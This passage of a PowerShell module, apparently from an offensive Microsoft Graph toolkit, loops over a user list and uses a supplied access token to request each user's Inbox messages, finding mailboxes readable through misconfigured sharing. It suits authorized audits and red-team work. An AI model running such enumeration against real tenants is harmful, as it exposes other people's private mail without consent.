A module that can be used to find inboxes of other users in a tenant that are readable by the current user. This oftentimes happens when a user has misconfigured their mailbox to allow others to read mail items within it. NOTE: You must have Mail.Read.Shared or Mail.ReadWrite.Shared permissions to read other mailboxes with the Graph.
.PARAMETER Tokens
Provide an already authenticated access token.
.PARAMETER UserList
Userlist of users to check (one per line)
.EXAMPLE
C:\PS> Invoke-GraphOpenInboxFinder -Tokens $tokens -UserList userlist.txt
Description
-----------
Using this module will attempt to access each inbox in the userlist file as the current user.
#>
param(
[Parameter(Position = 0, Mandatory = $true)]
[object[]]
$Tokens = "",
[Parameter(Position = 0, Mandatory = $true)]
[string]
$userlist = ""
)
if($tokens){
$access_token = $tokens.access_token
}
else{
Write-Host -ForegroundColor yellow "[*] No tokens detected. Pass your authenticated tokens to this module with the -Tokens option. "
return
}
$Mailboxes = @(Get-Content -Path $userlist)
if (!$Mailboxes){return}
$count = $Mailboxes.count
$curr_mbx = 0
Write-Host -ForegroundColor yellow "[*] Note: To read other user's mailboxes your token needs to be scoped to the Mail.Read.Shared or Mail.ReadWrite.Shared permissions."
Write-Output "`n`r"
Write-Output "[*] Checking access to mailboxes for each email address..."
Write-Output "`n`r"
foreach($mbx in $Mailboxes)
{
$request = ""
Write-Host -nonewline "$curr_mbx of $count mailboxes checked`r"
$curr_mbx += 1
try { $request = Invoke-WebRequest -UseBasicParsing -Method GET -Uri "https://graph.microsoft.com/v1.0/users/$mbx/mailFolders/Inbox/messages" -Headers @{"Authorization" = "Bearer $access_token"}
}catch{
$err = $_.Exception.Response.StatusCode.Value__